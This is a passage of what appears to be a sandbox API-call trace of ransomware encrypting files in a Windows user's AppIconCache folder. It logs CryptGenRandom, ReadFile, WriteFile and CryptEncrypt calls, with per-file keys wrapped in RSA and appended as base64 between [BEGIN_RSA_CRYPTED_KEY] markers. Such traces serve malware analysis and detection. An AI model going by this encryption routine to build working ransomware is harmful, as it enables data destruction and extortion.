ftCreationTime.dwLowDateTime=0x9a1afaf4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a1afaf4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{FC8C8E15-37CE-4712-91B1-473246FA9BC6}", cAlternateFileName="{FC8C8~1")) returned 1 [0245.565] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1adee73, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xa1adee73, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{FD71169F-D6C7-4087-AFF7-A180276CA9FF}", cAlternateFileName="{FD711~1")) returned 1 [0245.565] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c8941cb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c8941cb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{FE9E45E3-96FD-468B-B1CE-3961D08AD216}", cAlternateFileName="{FE9E4~1")) returned 1 [0245.565] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c8941cb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c8941cb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{FE9E45E3-96FD-468B-B1CE-3961D08AD216}", cAlternateFileName="{FE9E4~1")) returned 0 [0245.565] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.565] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FE9E45E3-96FD-468B-B1CE-3961D08AD216}", dwFileAttributes=0x80) returned 1 [0245.566] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FE9E45E3-96FD-468B-B1CE-3961D08AD216}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{fe9e45e3-96fd-468b-b1ce-3961d08ad216}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.566] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.566] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.567] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.567] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.568] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.568] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.568] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.568] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.568] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.568] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.568] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NmJTWhRH5KC8zwTVn3O8yfKBEmXFZdhYIX2+gSCzuJa7aW1dGr0U3oaEwrcguOdp\nkEWFHwLmnYHFi+szUNblPR4rKqto04ZnJh7hQH06CEmHAGFDKqnOWLIiomp0TnyU\ntph7HvLo1bopSe9AcjJML3nWPfBMYOmbrT48KOw6N14glYByzYyMtIscdizKFNMu\ncjqS2r1r0EDkxdTNQ5mT+lO98tZaGM1oNKWAoRvzlhrmltUbfNECkAI+DmIW1TrA\nTgtn7hYItj7msKaUGpvdbp2wi48iMVpW/fAJ9jBS8Sh2fXsM9tqWvxfCpXh0nwAS\noDnNn4EPCnlCB6pDehAMgg==\n", pcchString=0x2e3f9a8) returned 1 [0245.568] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.569] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.569] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.569] CloseHandle (hObject=0x1afc) returned 1 [0245.570] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.570] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FD71169F-D6C7-4087-AFF7-A180276CA9FF}", dwFileAttributes=0x80) returned 1 [0245.570] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FD71169F-D6C7-4087-AFF7-A180276CA9FF}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{fd71169f-d6c7-4087-aff7-a180276ca9ff}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.571] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.571] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.589] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.589] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.589] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.590] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.590] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.590] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.590] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.590] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.590] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="0CExJlBUOspqYfddLjN2MFJ11wDkXsMgA9JdMjTuwCfyuqYGnKVqMQVuvD7E5UC8\nR2LnelN9Y8hvYn1Ttwmgg0pf1WkFKWpi/ZD28u5Z9HHT7m0m0j4wlUuxRx5ci3oS\nxFJ4H/poWTv1LR+FYhazFRzYMBPpgvd3knqDtzAEB26M3pp0o1aYZdJEHCgFn3aw\nEc/p1N5APGoj0CqYODuKISSL494QinWA65hYZanhhdmIm2K47rUW54Nk4IBFYFZy\nSnahrEpx67v7B8BJGezUUaj6boscejlpPc1Mpy+7ZsKxpLennLx/4u/0CUQzdBWj\nGfHYN6YQMkqejSmmJV4SBg==\n", pcchString=0x2e3f9a8) returned 1 [0245.590] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.590] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.590] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.591] CloseHandle (hObject=0x1afc) returned 1 [0245.592] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.592] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FC8C8E15-37CE-4712-91B1-473246FA9BC6}", dwFileAttributes=0x80) returned 1 [0245.593] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FC8C8E15-37CE-4712-91B1-473246FA9BC6}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{fc8c8e15-37ce-4712-91b1-473246fa9bc6}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.594] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.594] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.595] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.595] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.595] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.595] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.595] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.595] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.595] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.596] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.596] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="gXSZUh4DsfSQtKeKwTdYX3jAMvWUPp0wEK9e7ixJKsTzdulsyOFIHQhBXD0AAKcu\n7dZh7I+HTljNMZJPa85svpuQ7M7EP3HaFolXZi4T0CsZdAcBC/HKKitnNIQgjRXs\n4vpByJzJJf3/6+MbiFDl8W9IGDAa8PRWlOcEUYnOoWfnEPyjNt/BIDBgQAHo2RmB\ndu5BOxbUVL8I6sOpsUkKWgqC9UpFpvDE9rMujivQZ8HOyDkh7+syn/4nG6nTFzbJ\n866k8w+5g2r/C7//g3YdSeewryE/KveSgLhxNmigcrsg33n0sq9RR6GYuX87TxRj\nc92svhe1tHfF6uzAPrzKLA==\n", pcchString=0x2e3f9a8) returned 1 [0245.596] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.596] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.596] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.596] CloseHandle (hObject=0x1afc) returned 1 [0245.597] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.597] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F7D10E06-7C0F-411C-8ED2-8C19184C6238}", dwFileAttributes=0x80) returned 1 [0245.598] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F7D10E06-7C0F-411C-8ED2-8C19184C6238}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{f7d10e06-7c0f-411c-8ed2-8c19184c6238}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.598] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.599] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.600] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.600] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.600] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.600] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.600] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.600] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.600] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.600] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.600] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pFHQirf3GWUSIogD3Xzp1xxq7ERrRGlElJ8Znjiwer2J3bAjeaNGsZX72jk0exE1\nSgUeHkvzrZl/MntfK1GyQY5Zs8RZYKclXqj6U8VHpALGwPAbQhYQPqspZXhGtKwq\n//CZyelFfnmyqKPAHab23kfMkW0up263K/Lc7Lvl0gylesTJrMbcejchVHfBsgNF\n4t4YVpkfNNVl2ooe36Gf8oUpuGI/rpKG+CBvOTAUxSsNfkpzacY9EL4/AUsQ0o+F\ncEkGmvNG3DGHqxKZALcOXopyrLKRtbuNF+Is6uj7+2b/JestOkhqT3BOv84NlguH\ndXKMaeFJo5/3ySAGK0FKQw==\n", pcchString=0x2e3f9a8) returned 1 [0245.600] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.600] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.601] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.601] CloseHandle (hObject=0x1afc) returned 1 [0245.602] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.602] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F6932121-D2DA-4225-88E3-261818BB07E2}", dwFileAttributes=0x80) returned 1 [0245.602] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F6932121-D2DA-4225-88E3-261818BB07E2}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{f6932121-d2da-4225-88e3-261818bb07e2}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.603] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.603] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.604] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.604] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.604] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.604] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.604] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.604] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.604] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.604] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.604] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nUM9U7BMkpK6J8MJL3sLBMV2BJYR16JbYpU17H78vQ7LLTnAawQCXr+sjse7lk7h\nzd08OUq+y576WKDGBYRKppv3IRP0TYt4YBCvmKEmSwXZLPpbzkiQRx5682ErvC/a\nWIorV2m3+j7fIWO/eb5/g51L+h2zXN86eTZkHVpFAYrbIt5p0u4ET5yEXfRJCdEq\nU2/B3AlniruwJBx9qiG8uSwv0bx6ydFDzH5ebDWtdX9USTdtodYJSLX/1unyXLJj\nbeu2bmIpW8aABZKVtYrHMxk3yPpCNeL8bmvjazirk0xkOetDWFKo/KmkkFh80GcV\nKk71gBcrcUDur6yr4leZjw==\n", pcchString=0x2e3f9a8) returned 1 [0245.605] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.605] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.605] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.605] CloseHandle (hObject=0x1afc) returned 1 [0245.606] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.606] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F034B648-27F3-4DB0-A1E2-76AEDA4DB720}", dwFileAttributes=0x80) returned 1 [0245.607] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F034B648-27F3-4DB0-A1E2-76AEDA4DB720}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{f034b648-27f3-4db0-a1e2-76aeda4db720}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.607] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.607] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.608] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.609] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, 